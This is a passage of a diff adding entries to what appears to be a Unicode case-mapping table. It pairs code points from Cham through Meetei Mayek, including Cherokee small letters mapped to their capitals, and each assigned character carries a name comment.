+ ["\uAA5C", "\uAA5C"], /* CHAM PUNCTUATION SPIRAL */
+ ["\uAA5D", "\uAA5D"], /* CHAM PUNCTUATION DANDA */
+ ["\uAA5E", "\uAA5E"], /* CHAM PUNCTUATION DOUBLE DANDA */
+ ["\uAA5F", "\uAA5F"], /* CHAM PUNCTUATION TRIPLE DANDA */
+ ["\uAA60", "\uAA60"], /* MYANMAR LETTER KHAMTI GA */
+ ["\uAA61", "\uAA61"], /* MYANMAR LETTER KHAMTI CA */
+ ["\uAA62", "\uAA62"], /* MYANMAR LETTER KHAMTI CHA */
+ ["\uAA63", "\uAA63"], /* MYANMAR LETTER KHAMTI JA */
+ ["\uAA64", "\uAA64"], /* MYANMAR LETTER KHAMTI JHA */
+ ["\uAA65", "\uAA65"], /* MYANMAR LETTER KHAMTI NYA */
+ ["\uAA66", "\uAA66"], /* MYANMAR LETTER KHAMTI TTA */
+ ["\uAA67", "\uAA67"], /* MYANMAR LETTER KHAMTI TTHA */
+ ["\uAA68", "\uAA68"], /* MYANMAR LETTER KHAMTI DDA */
+ ["\uAA69", "\uAA69"], /* MYANMAR LETTER KHAMTI DDHA */
+ ["\uAA6A", "\uAA6A"], /* MYANMAR LETTER KHAMTI DHA */
+ ["\uAA6B", "\uAA6B"], /* MYANMAR LETTER KHAMTI NA */
+ ["\uAA6C", "\uAA6C"], /* MYANMAR LETTER KHAMTI SA */
+ ["\uAA6D", "\uAA6D"], /* MYANMAR LETTER KHAMTI HA */
+ ["\uAA6E", "\uAA6E"], /* MYANMAR LETTER KHAMTI HHA */
+ ["\uAA6F", "\uAA6F"], /* MYANMAR LETTER KHAMTI FA */
+ ["\uAA70", "\uAA70"], /* MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION */
+ ["\uAA71", "\uAA71"], /* MYANMAR LETTER KHAMTI XA */
+ ["\uAA72", "\uAA72"], /* MYANMAR LETTER KHAMTI ZA */
+ ["\uAA73", "\uAA73"], /* MYANMAR LETTER KHAMTI RA */
+ ["\uAA74", "\uAA74"], /* MYANMAR LOGOGRAM KHAMTI OAY */
+ ["\uAA75", "\uAA75"], /* MYANMAR LOGOGRAM KHAMTI QN */
+ ["\uAA76", "\uAA76"], /* MYANMAR LOGOGRAM KHAMTI HM */
+ ["\uAA77", "\uAA77"], /* MYANMAR SYMBOL AITON EXCLAMATION */
+ ["\uAA78", "\uAA78"], /* MYANMAR SYMBOL AITON ONE */
+ ["\uAA79", "\uAA79"], /* MYANMAR SYMBOL AITON TWO */
+ ["\uAA7A", "\uAA7A"], /* MYANMAR LETTER AITON RA */
+ ["\uAA7B", "\uAA7B"], /* MYANMAR SIGN PAO KAREN TONE */
+ ["\uAA7C", "\uAA7C"], /* MYANMAR SIGN TAI LAING TONE-2 */
+ ["\uAA7D", "\uAA7D"], /* MYANMAR SIGN TAI LAING TONE-5 */
+ ["\uAA7E", "\uAA7E"], /* MYANMAR LETTER SHWE PALAUNG CHA */
+ ["\uAA7F", "\uAA7F"], /* MYANMAR LETTER SHWE PALAUNG SHA */
+ ["\uAA80", "\uAA80"], /* TAI VIET LETTER LOW KO */
+ ["\uAA81", "\uAA81"], /* TAI VIET LETTER HIGH KO */
+ ["\uAA82", "\uAA82"], /* TAI VIET LETTER LOW KHO */
+ ["\uAA83", "\uAA83"], /* TAI VIET LETTER HIGH KHO */
+ ["\uAA84", "\uAA84"], /* TAI VIET LETTER LOW KHHO */
+ ["\uAA85", "\uAA85"], /* TAI VIET LETTER HIGH KHHO */
+ ["\uAA86", "\uAA86"], /* TAI VIET LETTER LOW GO */
+ ["\uAA87", "\uAA87"], /* TAI VIET LETTER HIGH GO */
+ ["\uAA88", "\uAA88"], /* TAI VIET LETTER LOW NGO */
+ ["\uAA89", "\uAA89"], /* TAI VIET LETTER HIGH NGO */
+ ["\uAA8A", "\uAA8A"], /* TAI VIET LETTER LOW CO */
+ ["\uAA8B", "\uAA8B"], /* TAI VIET LETTER HIGH CO */
+ ["\uAA8C", "\uAA8C"], /* TAI VIET LETTER LOW CHO */
+ ["\uAA8D", "\uAA8D"], /* TAI VIET LETTER HIGH CHO */
+ ["\uAA8E", "\uAA8E"], /* TAI VIET LETTER LOW SO */
+ ["\uAA8F", "\uAA8F"], /* TAI VIET LETTER HIGH SO */
+ ["\uAA90", "\uAA90"], /* TAI VIET LETTER LOW NYO */
+ ["\uAA91", "\uAA91"], /* TAI VIET LETTER HIGH NYO */
+ ["\uAA92", "\uAA92"], /* TAI VIET LETTER LOW DO */
+ ["\uAA93", "\uAA93"], /* TAI VIET LETTER HIGH DO */
+ ["\uAA94", "\uAA94"], /* TAI VIET LETTER LOW TO */
+ ["\uAA95", "\uAA95"], /* TAI VIET LETTER HIGH TO */
+ ["\uAA96", "\uAA96"], /* TAI VIET LETTER LOW THO */
+ ["\uAA97", "\uAA97"], /* TAI VIET LETTER HIGH THO */
+ ["\uAA98", "\uAA98"], /* TAI VIET LETTER LOW NO */
+ ["\uAA99", "\uAA99"], /* TAI VIET LETTER HIGH NO */
+ ["\uAA9A", "\uAA9A"], /* TAI VIET LETTER LOW BO */
+ ["\uAA9B", "\uAA9B"], /* TAI VIET LETTER HIGH BO */
+ ["\uAA9C", "\uAA9C"], /* TAI VIET LETTER LOW PO */
+ ["\uAA9D", "\uAA9D"], /* TAI VIET LETTER HIGH PO */
+ ["\uAA9E", "\uAA9E"], /* TAI VIET LETTER LOW PHO */
+ ["\uAA9F", "\uAA9F"], /* TAI VIET LETTER HIGH PHO */
+ ["\uAAA0", "\uAAA0"], /* TAI VIET LETTER LOW FO */
+ ["\uAAA1", "\uAAA1"], /* TAI VIET LETTER HIGH FO */
+ ["\uAAA2", "\uAAA2"], /* TAI VIET LETTER LOW MO */
+ ["\uAAA3", "\uAAA3"], /* TAI VIET LETTER HIGH MO */
+ ["\uAAA4", "\uAAA4"], /* TAI VIET LETTER LOW YO */
+ ["\uAAA5", "\uAAA5"], /* TAI VIET LETTER HIGH YO */
+ ["\uAAA6", "\uAAA6"], /* TAI VIET LETTER LOW RO */
+ ["\uAAA7", "\uAAA7"], /* TAI VIET LETTER HIGH RO */
+ ["\uAAA8", "\uAAA8"], /* TAI VIET LETTER LOW LO */
+ ["\uAAA9", "\uAAA9"], /* TAI VIET LETTER HIGH LO */
+ ["\uAAAA", "\uAAAA"], /* TAI VIET LETTER LOW VO */
+ ["\uAAAB", "\uAAAB"], /* TAI VIET LETTER HIGH VO */
+ ["\uAAAC", "\uAAAC"], /* TAI VIET LETTER LOW HO */
+ ["\uAAAD", "\uAAAD"], /* TAI VIET LETTER HIGH HO */
+ ["\uAAAE", "\uAAAE"], /* TAI VIET LETTER LOW O */
+ ["\uAAAF", "\uAAAF"], /* TAI VIET LETTER HIGH O */
+ ["\uAAB0", "\uAAB0"], /* TAI VIET MAI KANG */
+ ["\uAAB1", "\uAAB1"], /* TAI VIET VOWEL AA */
+ ["\uAAB2", "\uAAB2"], /* TAI VIET VOWEL I */
+ ["\uAAB3", "\uAAB3"], /* TAI VIET VOWEL UE */
+ ["\uAAB4", "\uAAB4"], /* TAI VIET VOWEL U */
+ ["\uAAB5", "\uAAB5"], /* TAI VIET VOWEL E */
+ ["\uAAB6", "\uAAB6"], /* TAI VIET VOWEL O */
+ ["\uAAB7", "\uAAB7"], /* TAI VIET MAI KHIT */
+ ["\uAAB8", "\uAAB8"], /* TAI VIET VOWEL IA */
+ ["\uAAB9", "\uAAB9"], /* TAI VIET VOWEL UEA */
+ ["\uAABA", "\uAABA"], /* TAI VIET VOWEL UA */
+ ["\uAABB", "\uAABB"], /* TAI VIET VOWEL AUE */
+ ["\uAABC", "\uAABC"], /* TAI VIET VOWEL AY */
+ ["\uAABD", "\uAABD"], /* TAI VIET VOWEL AN */
+ ["\uAABE", "\uAABE"], /* TAI VIET VOWEL AM */
+ ["\uAABF", "\uAABF"], /* TAI VIET TONE MAI EK */
+ ["\uAAC0", "\uAAC0"], /* TAI VIET TONE MAI NUENG */
+ ["\uAAC1", "\uAAC1"], /* TAI VIET TONE MAI THO */
+ ["\uAAC2", "\uAAC2"], /* TAI VIET TONE MAI SONG */
+ ["\uAAC3", "\uAAC3"],
+ ["\uAAC4", "\uAAC4"],
+ ["\uAAC5", "\uAAC5"],
+ ["\uAAC6", "\uAAC6"],
+ ["\uAAC7", "\uAAC7"],
+ ["\uAAC8", "\uAAC8"],
+ ["\uAAC9", "\uAAC9"],
+ ["\uAACA", "\uAACA"],
+ ["\uAACB", "\uAACB"],
+ ["\uAACC", "\uAACC"],
+ ["\uAACD", "\uAACD"],
+ ["\uAACE", "\uAACE"],
+ ["\uAACF", "\uAACF"],
+ ["\uAAD0", "\uAAD0"],
+ ["\uAAD1", "\uAAD1"],
+ ["\uAAD2", "\uAAD2"],
+ ["\uAAD3", "\uAAD3"],
+ ["\uAAD4", "\uAAD4"],
+ ["\uAAD5", "\uAAD5"],
+ ["\uAAD6", "\uAAD6"],
+ ["\uAAD7", "\uAAD7"],
+ ["\uAAD8", "\uAAD8"],
+ ["\uAAD9", "\uAAD9"],
+ ["\uAADA", "\uAADA"],
+ ["\uAADB", "\uAADB"], /* TAI VIET SYMBOL KON */
+ ["\uAADC", "\uAADC"], /* TAI VIET SYMBOL NUENG */
+ ["\uAADD", "\uAADD"], /* TAI VIET SYMBOL SAM */
+ ["\uAADE", "\uAADE"], /* TAI VIET SYMBOL HO HOI */
+ ["\uAADF", "\uAADF"], /* TAI VIET SYMBOL KOI KOI */
+ ["\uAAE0", "\uAAE0"], /* MEETEI MAYEK LETTER E */
+ ["\uAAE1", "\uAAE1"], /* MEETEI MAYEK LETTER O */
+ ["\uAAE2", "\uAAE2"], /* MEETEI MAYEK LETTER CHA */
+ ["\uAAE3", "\uAAE3"], /* MEETEI MAYEK LETTER NYA */
+ ["\uAAE4", "\uAAE4"], /* MEETEI MAYEK LETTER TTA */
+ ["\uAAE5", "\uAAE5"], /* MEETEI MAYEK LETTER TTHA */
+ ["\uAAE6", "\uAAE6"], /* MEETEI MAYEK LETTER DDA */
+ ["\uAAE7", "\uAAE7"], /* MEETEI MAYEK LETTER DDHA */
+ ["\uAAE8", "\uAAE8"], /* MEETEI MAYEK LETTER NNA */
+ ["\uAAE9", "\uAAE9"], /* MEETEI MAYEK LETTER SHA */
+ ["\uAAEA", "\uAAEA"], /* MEETEI MAYEK LETTER SSA */
+ ["\uAAEB", "\uAAEB"], /* MEETEI MAYEK VOWEL SIGN II */
+ ["\uAAEC", "\uAAEC"], /* MEETEI MAYEK VOWEL SIGN UU */
+ ["\uAAED", "\uAAED"], /* MEETEI MAYEK VOWEL SIGN AAI */
+ ["\uAAEE", "\uAAEE"], /* MEETEI MAYEK VOWEL SIGN AU */
+ ["\uAAEF", "\uAAEF"], /* MEETEI MAYEK VOWEL SIGN AAU */
+ ["\uAAF0", "\uAAF0"], /* MEETEI MAYEK CHEIKHAN */
+ ["\uAAF1", "\uAAF1"], /* MEETEI MAYEK AHANG KHUDAM */
+ ["\uAAF2", "\uAAF2"], /* MEETEI MAYEK ANJI */
+ ["\uAAF3", "\uAAF3"], /* MEETEI MAYEK SYLLABLE REPETITION MARK */
+ ["\uAAF4", "\uAAF4"], /* MEETEI MAYEK WORD REPETITION MARK */
+ ["\uAAF5", "\uAAF5"], /* MEETEI MAYEK VOWEL SIGN VISARGA */
+ ["\uAAF6", "\uAAF6"], /* MEETEI MAYEK VIRAMA */
+ ["\uAAF7", "\uAAF7"],
+ ["\uAAF8", "\uAAF8"],
+ ["\uAAF9", "\uAAF9"],
+ ["\uAAFA", "\uAAFA"],
+ ["\uAAFB", "\uAAFB"],
+ ["\uAAFC", "\uAAFC"],
+ ["\uAAFD", "\uAAFD"],
+ ["\uAAFE", "\uAAFE"],
+ ["\uAAFF", "\uAAFF"],
+ ["\uAB00", "\uAB00"],
+ ["\uAB01", "\uAB01"], /* ETHIOPIC SYLLABLE TTHU */
+ ["\uAB02", "\uAB02"], /* ETHIOPIC SYLLABLE TTHI */
+ ["\uAB03", "\uAB03"], /* ETHIOPIC SYLLABLE TTHAA */
+ ["\uAB04", "\uAB04"], /* ETHIOPIC SYLLABLE TTHEE */
+ ["\uAB05", "\uAB05"], /* ETHIOPIC SYLLABLE TTHE */
+ ["\uAB06", "\uAB06"], /* ETHIOPIC SYLLABLE TTHO */
+ ["\uAB07", "\uAB07"],
+ ["\uAB08", "\uAB08"],
+ ["\uAB09", "\uAB09"], /* ETHIOPIC SYLLABLE DDHU */
+ ["\uAB0A", "\uAB0A"], /* ETHIOPIC SYLLABLE DDHI */
+ ["\uAB0B", "\uAB0B"], /* ETHIOPIC SYLLABLE DDHAA */
+ ["\uAB0C", "\uAB0C"], /* ETHIOPIC SYLLABLE DDHEE */
+ ["\uAB0D", "\uAB0D"], /* ETHIOPIC SYLLABLE DDHE */
+ ["\uAB0E", "\uAB0E"], /* ETHIOPIC SYLLABLE DDHO */
+ ["\uAB0F", "\uAB0F"],
+ ["\uAB10", "\uAB10"],
+ ["\uAB11", "\uAB11"], /* ETHIOPIC SYLLABLE DZU */
+ ["\uAB12", "\uAB12"], /* ETHIOPIC SYLLABLE DZI */
+ ["\uAB13", "\uAB13"], /* ETHIOPIC SYLLABLE DZAA */
+ ["\uAB14", "\uAB14"], /* ETHIOPIC SYLLABLE DZEE */
+ ["\uAB15", "\uAB15"], /* ETHIOPIC SYLLABLE DZE */
+ ["\uAB16", "\uAB16"], /* ETHIOPIC SYLLABLE DZO */
+ ["\uAB17", "\uAB17"],
+ ["\uAB18", "\uAB18"],
+ ["\uAB19", "\uAB19"],
+ ["\uAB1A", "\uAB1A"],
+ ["\uAB1B", "\uAB1B"],
+ ["\uAB1C", "\uAB1C"],
+ ["\uAB1D", "\uAB1D"],
+ ["\uAB1E", "\uAB1E"],
+ ["\uAB1F", "\uAB1F"],
+ ["\uAB20", "\uAB20"], /* ETHIOPIC SYLLABLE CCHHA */
+ ["\uAB21", "\uAB21"], /* ETHIOPIC SYLLABLE CCHHU */
+ ["\uAB22", "\uAB22"], /* ETHIOPIC SYLLABLE CCHHI */
+ ["\uAB23", "\uAB23"], /* ETHIOPIC SYLLABLE CCHHAA */
+ ["\uAB24", "\uAB24"], /* ETHIOPIC SYLLABLE CCHHEE */
+ ["\uAB25", "\uAB25"], /* ETHIOPIC SYLLABLE CCHHE */
+ ["\uAB26", "\uAB26"], /* ETHIOPIC SYLLABLE CCHHO */
+ ["\uAB27", "\uAB27"],
+ ["\uAB28", "\uAB28"], /* ETHIOPIC SYLLABLE BBA */
+ ["\uAB29", "\uAB29"], /* ETHIOPIC SYLLABLE BBU */
+ ["\uAB2A", "\uAB2A"], /* ETHIOPIC SYLLABLE BBI */
+ ["\uAB2B", "\uAB2B"], /* ETHIOPIC SYLLABLE BBAA */
+ ["\uAB2C", "\uAB2C"], /* ETHIOPIC SYLLABLE BBEE */
+ ["\uAB2D", "\uAB2D"], /* ETHIOPIC SYLLABLE BBE */
+ ["\uAB2E", "\uAB2E"], /* ETHIOPIC SYLLABLE BBO */
+ ["\uAB2F", "\uAB2F"],
+ ["\uAB30", "\uAB30"], /* LATIN SMALL LETTER BARRED ALPHA */
+ ["\uAB31", "\uAB31"], /* LATIN SMALL LETTER A REVERSED-SCHWA */
+ ["\uAB32", "\uAB32"], /* LATIN SMALL LETTER BLACKLETTER E */
+ ["\uAB33", "\uAB33"], /* LATIN SMALL LETTER BARRED E */
+ ["\uAB34", "\uAB34"], /* LATIN SMALL LETTER E WITH FLOURISH */
+ ["\uAB35", "\uAB35"], /* LATIN SMALL LETTER LENIS F */
+ ["\uAB36", "\uAB36"], /* LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL */
+ ["\uAB37", "\uAB37"], /* LATIN SMALL LETTER L WITH INVERTED LAZY S */
+ ["\uAB38", "\uAB38"], /* LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE */
+ ["\uAB39", "\uAB39"], /* LATIN SMALL LETTER L WITH MIDDLE RING */
+ ["\uAB3A", "\uAB3A"], /* LATIN SMALL LETTER M WITH CROSSED-TAIL */
+ ["\uAB3B", "\uAB3B"], /* LATIN SMALL LETTER N WITH CROSSED-TAIL */
+ ["\uAB3C", "\uAB3C"], /* LATIN SMALL LETTER ENG WITH CROSSED-TAIL */
+ ["\uAB3D", "\uAB3D"], /* LATIN SMALL LETTER BLACKLETTER O */
+ ["\uAB3E", "\uAB3E"], /* LATIN SMALL LETTER BLACKLETTER O WITH STROKE */
+ ["\uAB3F", "\uAB3F"], /* LATIN SMALL LETTER OPEN O WITH STROKE */
+ ["\uAB40", "\uAB40"], /* LATIN SMALL LETTER INVERTED OE */
+ ["\uAB41", "\uAB41"], /* LATIN SMALL LETTER TURNED OE WITH STROKE */
+ ["\uAB42", "\uAB42"], /* LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE */
+ ["\uAB43", "\uAB43"], /* LATIN SMALL LETTER TURNED O OPEN-O */
+ ["\uAB44", "\uAB44"], /* LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE */
+ ["\uAB45", "\uAB45"], /* LATIN SMALL LETTER STIRRUP R */
+ ["\uAB46", "\uAB46"], /* LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG */
+ ["\uAB47", "\uAB47"], /* LATIN SMALL LETTER R WITHOUT HANDLE */
+ ["\uAB48", "\uAB48"], /* LATIN SMALL LETTER DOUBLE R */
+ ["\uAB49", "\uAB49"], /* LATIN SMALL LETTER R WITH CROSSED-TAIL */
+ ["\uAB4A", "\uAB4A"], /* LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL */
+ ["\uAB4B", "\uAB4B"], /* LATIN SMALL LETTER SCRIPT R */
+ ["\uAB4C", "\uAB4C"], /* LATIN SMALL LETTER SCRIPT R WITH RING */
+ ["\uAB4D", "\uAB4D"], /* LATIN SMALL LETTER BASELINE ESH */
+ ["\uAB4E", "\uAB4E"], /* LATIN SMALL LETTER U WITH SHORT RIGHT LEG */
+ ["\uAB4F", "\uAB4F"], /* LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG */
+ ["\uAB50", "\uAB50"], /* LATIN SMALL LETTER UI */
+ ["\uAB51", "\uAB51"], /* LATIN SMALL LETTER TURNED UI */
+ ["\uAB52", "\uAB52"], /* LATIN SMALL LETTER U WITH LEFT HOOK */
+ ["\uA7B3", "\uAB53"], /* LATIN SMALL LETTER CHI */
+ ["\uAB54", "\uAB54"], /* LATIN SMALL LETTER CHI WITH LOW RIGHT RING */
+ ["\uAB55", "\uAB55"], /* LATIN SMALL LETTER CHI WITH LOW LEFT SERIF */
+ ["\uAB56", "\uAB56"], /* LATIN SMALL LETTER X WITH LOW RIGHT RING */
+ ["\uAB57", "\uAB57"], /* LATIN SMALL LETTER X WITH LONG LEFT LEG */
+ ["\uAB58", "\uAB58"], /* LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING */
+ ["\uAB59", "\uAB59"], /* LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF */
+ ["\uAB5A", "\uAB5A"], /* LATIN SMALL LETTER Y WITH SHORT RIGHT LEG */
+ ["\uAB5B", "\uAB5B"], /* MODIFIER BREVE WITH INVERTED BREVE */
+ ["\uAB5C", "\uAB5C"], /* MODIFIER LETTER SMALL HENG */
+ ["\uAB5D", "\uAB5D"], /* MODIFIER LETTER SMALL L WITH INVERTED LAZY S */
+ ["\uAB5E", "\uAB5E"], /* MODIFIER LETTER SMALL L WITH MIDDLE TILDE */
+ ["\uAB5F", "\uAB5F"], /* MODIFIER LETTER SMALL U WITH LEFT HOOK */
+ ["\uAB60", "\uAB60"], /* LATIN SMALL LETTER SAKHA YAT */
+ ["\uAB61", "\uAB61"], /* LATIN SMALL LETTER IOTIFIED E */
+ ["\uAB62", "\uAB62"], /* LATIN SMALL LETTER OPEN OE */
+ ["\uAB63", "\uAB63"], /* LATIN SMALL LETTER UO */
+ ["\uAB64", "\uAB64"], /* LATIN SMALL LETTER INVERTED ALPHA */
+ ["\uAB65", "\uAB65"], /* GREEK LETTER SMALL CAPITAL OMEGA */
+ ["\uAB66", "\uAB66"], /* LATIN SMALL LETTER DZ DIGRAPH WITH RETROFLEX HOOK */
+ ["\uAB67", "\uAB67"], /* LATIN SMALL LETTER TS DIGRAPH WITH RETROFLEX HOOK */
+ ["\uAB68", "\uAB68"], /* LATIN SMALL LETTER TURNED R WITH MIDDLE TILDE */
+ ["\uAB69", "\uAB69"], /* MODIFIER LETTER SMALL TURNED W */
+ ["\uAB6A", "\uAB6A"], /* MODIFIER LETTER LEFT TACK */
+ ["\uAB6B", "\uAB6B"], /* MODIFIER LETTER RIGHT TACK */
+ ["\uAB6C", "\uAB6C"],
+ ["\uAB6D", "\uAB6D"],
+ ["\uAB6E", "\uAB6E"],
+ ["\uAB6F", "\uAB6F"],
+ ["\u13A0", "\uAB70"], /* CHEROKEE SMALL LETTER A */
+ ["\u13A1", "\uAB71"], /* CHEROKEE SMALL LETTER E */
+ ["\u13A2", "\uAB72"], /* CHEROKEE SMALL LETTER I */
+ ["\u13A3", "\uAB73"], /* CHEROKEE SMALL LETTER O */
+ ["\u13A4", "\uAB74"], /* CHEROKEE SMALL LETTER U */
+ ["\u13A5", "\uAB75"], /* CHEROKEE SMALL LETTER V */
+ ["\u13A6", "\uAB76"], /* CHEROKEE SMALL LETTER GA */
+ ["\u13A7", "\uAB77"], /* CHEROKEE SMALL LETTER KA */
+ ["\u13A8", "\uAB78"], /* CHEROKEE SMALL LETTER GE */
+ ["\u13A9", "\uAB79"], /* CHEROKEE SMALL LETTER GI */
+ ["\u13AA", "\uAB7A"], /* CHEROKEE SMALL LETTER GO */
+ ["\u13AB", "\uAB7B"], /* CHEROKEE SMALL LETTER GU */
+ ["\u13AC", "\uAB7C"], /* CHEROKEE SMALL LETTER GV */
+ ["\u13AD", "\uAB7D"], /* CHEROKEE SMALL LETTER HA */
+ ["\u13AE", "\uAB7E"], /* CHEROKEE SMALL LETTER HE */
+ ["\u13AF", "\uAB7F"], /* CHEROKEE SMALL LETTER HI */
+ ["\u13B0", "\uAB80"], /* CHEROKEE SMALL LETTER HO */
+ ["\u13B1", "\uAB81"], /* CHEROKEE SMALL LETTER HU */
+ ["\u13B2", "\uAB82"], /* CHEROKEE SMALL LETTER HV */
+ ["\u13B3", "\uAB83"], /* CHEROKEE SMALL LETTER LA */
+ ["\u13B4", "\uAB84"], /* CHEROKEE SMALL LETTER LE */
+ ["\u13B5", "\uAB85"], /* CHEROKEE SMALL LETTER LI */
+ ["\u13B6", "\uAB86"], /* CHEROKEE SMALL LETTER LO */
+ ["\u13B7", "\uAB87"], /* CHEROKEE SMALL LETTER LU */
+ ["\u13B8", "\uAB88"], /* CHEROKEE SMALL LETTER LV */
+ ["\u13B9", "\uAB89"], /* CHEROKEE SMALL LETTER MA */
+ ["\u13BA", "\uAB8A"], /* CHEROKEE SMALL LETTER ME */
+ ["\u13BB", "\uAB8B"], /* CHEROKEE SMALL LETTER MI */
+ ["\u13BC", "\uAB8C"], /* CHEROKEE SMALL LETTER MO */
+ ["\u13BD", "\uAB8D"], /* CHEROKEE SMALL LETTER MU */
+ ["\u13BE", "\uAB8E"], /* CHEROKEE SMALL LETTER NA */
+ ["\u13BF", "\uAB8F"], /* CHEROKEE SMALL LETTER HNA */
+ ["\u13C0", "\uAB90"], /* CHEROKEE SMALL LETTER NAH */
+ ["\u13C1", "\uAB91"], /* CHEROKEE SMALL LETTER NE */
+ ["\u13C2", "\uAB92"], /* CHEROKEE SMALL LETTER NI */
+ ["\u13C3", "\uAB93"], /* CHEROKEE SMALL LETTER NO */
+ ["\u13C4", "\uAB94"], /* CHEROKEE SMALL LETTER NU */
+ ["\u13C5", "\uAB95"], /* CHEROKEE SMALL LETTER NV */
+ ["\u13C6", "\uAB96"], /* CHEROKEE SMALL LETTER QUA */
+ ["\u13C7", "\uAB97"], /* CHEROKEE SMALL LETTER QUE */
+ ["\u13C8", "\uAB98"], /* CHEROKEE SMALL LETTER QUI */
+ ["\u13C9", "\uAB99"], /* CHEROKEE SMALL LETTER QUO */
+ ["\u13CA", "\uAB9A"], /* CHEROKEE SMALL LETTER QUU */
+ ["\u13CB", "\uAB9B"], /* CHEROKEE SMALL LETTER QUV */
+ ["\u13CC", "\uAB9C"], /* CHEROKEE SMALL LETTER SA */
+ ["\u13CD", "\uAB9D"], /* CHEROKEE SMALL LETTER S */
+ ["\u13CE", "\uAB9E"], /* CHEROKEE SMALL LETTER SE */
+ ["\u13CF", "\uAB9F"], /* CHEROKEE SMALL LETTER SI */
+ ["\u13D0", "\uABA0"], /* CHEROKEE SMALL LETTER SO */
+ ["\u13D1", "\uABA1"], /* CHEROKEE SMALL LETTER SU */
+ ["\u13D2", "\uABA2"], /* CHEROKEE SMALL LETTER SV */
+ ["\u13D3", "\uABA3"], /* CHEROKEE SMALL LETTER DA */
+ ["\u13D4", "\uABA4"], /* CHEROKEE SMALL LETTER TA */
+ ["\u13D5", "\uABA5"], /* CHEROKEE SMALL LETTER DE */
+ ["\u13D6", "\uABA6"], /* CHEROKEE SMALL LETTER TE */
+ ["\u13D7", "\uABA7"], /* CHEROKEE SMALL LETTER DI */
+ ["\u13D8", "\uABA8"], /* CHEROKEE SMALL LETTER TI */
+ ["\u13D9", "\uABA9"], /* CHEROKEE SMALL LETTER DO */
+ ["\u13DA", "\uABAA"], /* CHEROKEE SMALL LETTER DU */
+ ["\u13DB", "\uABAB"], /* CHEROKEE SMALL LETTER DV */
+ ["\u13DC", "\uABAC"], /* CHEROKEE SMALL LETTER DLA */
+ ["\u13DD", "\uABAD"], /* CHEROKEE SMALL LETTER TLA */
+ ["\u13DE", "\uABAE"], /* CHEROKEE SMALL LETTER TLE */
+ ["\u13DF", "\uABAF"], /* CHEROKEE SMALL LETTER TLI */
+ ["\u13E0", "\uABB0"], /* CHEROKEE SMALL LETTER TLO */
+ ["\u13E1", "\uABB1"], /* CHEROKEE SMALL LETTER TLU */
+ ["\u13E2", "\uABB2"], /* CHEROKEE SMALL LETTER TLV */
+ ["\u13E3", "\uABB3"], /* CHEROKEE SMALL LETTER TSA */
+ ["\u13E4", "\uABB4"], /* CHEROKEE SMALL LETTER TSE */
+ ["\u13E5", "\uABB5"], /* CHEROKEE SMALL LETTER TSI */
+ ["\u13E6", "\uABB6"], /* CHEROKEE SMALL LETTER TSO */
+ ["\u13E7", "\uABB7"], /* CHEROKEE SMALL LETTER TSU */
+ ["\u13E8", "\uABB8"], /* CHEROKEE SMALL LETTER TSV */
+ ["\u13E9", "\uABB9"], /* CHEROKEE SMALL LETTER WA */
+ ["\u13EA", "\uABBA"], /* CHEROKEE SMALL LETTER WE */
+ ["\u13EB", "\uABBB"], /* CHEROKEE SMALL LETTER WI */
+ ["\u13EC", "\uABBC"], /* CHEROKEE SMALL LETTER WO */
+ ["\u13ED", "\uABBD"], /* CHEROKEE SMALL LETTER WU */
+ ["\u13EE", "\uABBE"], /* CHEROKEE SMALL LETTER WV */
+ ["\u13EF", "\uABBF"], /* CHEROKEE SMALL LETTER YA */
+ ["\uABC0", "\uABC0"], /* MEETEI MAYEK LETTER KOK */
+ ["\uABC1", "\uABC1"], /* MEETEI MAYEK LETTER SAM */
+ ["\uABC2", "\uABC2"], /* MEETEI MAYEK LETTER LAI */
+ ["\uABC3", "\uABC3"], /* MEETEI MAYEK LETTER MIT */
+ ["\uABC4", "\uABC4"], /* MEETEI MAYEK LETTER PA */
+ ["\uABC5", "\uABC5"], /* MEETEI MAYEK LETTER NA */
+ ["\uABC6", "\uABC6"], /* MEETEI MAYEK LETTER CHIL */
+ ["\uABC7", "\uABC7"], /* MEETEI MAYEK LETTER TIL */
+ ["\uABC8", "\uABC8"], /* MEETEI MAYEK LETTER KHOU */
+ ["\uABC9", "\uABC9"], /* MEETEI MAYEK LETTER NGOU */
+ ["\uABCA", "\uABCA"], /* MEETEI MAYEK LETTER THOU */
+ ["\uABCB", "\uABCB"], /* MEETEI MAYEK LETTER WAI */
+ ["\uABCC", "\uABCC"], /* MEETEI MAYEK LETTER YANG */
+ ["\uABCD", "\uABCD"], /* MEETEI MAYEK LETTER HUK */
+ ["\uABCE", "\uABCE"], /* MEETEI MAYEK LETTER UN */
+ ["\uABCF", "\uABCF"], /* MEETEI MAYEK LETTER I */
+ ["\uABD0", "\uABD0"], /* MEETEI MAYEK LETTER PHAM */
+ ["\uABD1", "\uABD1"], /* MEETEI MAYEK LETTER ATIYA */
+ ["\uABD2", "\uABD2"], /* MEETEI MAYEK LETTER GOK */
+ ["\uABD3", "\uABD3"], /* MEETEI MAYEK LETTER JHAM */
+ ["\uABD4", "\uABD4"], /* MEETEI MAYEK LETTER RAI */
+ ["\uABD5", "\uABD5"], /* MEETEI MAYEK LETTER BA */
+ ["\uABD6", "\uABD6"], /* MEETEI MAYEK LETTER JIL */
+ ["\uABD7", "\uABD7"], /* MEETEI MAYEK LETTER DIL */
+ ["\uABD8", "\uABD8"], /* MEETEI MAYEK LETTER GHOU */
+ ["\uABD9", "\uABD9"], /* MEETEI MAYEK LETTER DHOU */
+ ["\uABDA", "\uABDA"], /* MEETEI MAYEK LETTER BHAM */
+ ["\uABDB", "\uABDB"], /* MEETEI MAYEK LETTER KOK LONSUM */
+ ["\uABDC", "\uABDC"], /* MEETEI MAYEK LETTER LAI LONSUM */
+ ["\uABDD", "\uABDD"], /* MEETEI MAYEK LETTER MIT LONSUM */
+ ["\uABDE", "\uABDE"], /* MEETEI MAYEK LETTER PA LONSUM */
+ ["\uABDF", "\uABDF"], /* MEETEI MAYEK LETTER NA LONSUM */
+ ["\uABE0", "\uABE0"], /* MEETEI MAYEK LETTER TIL LONSUM */
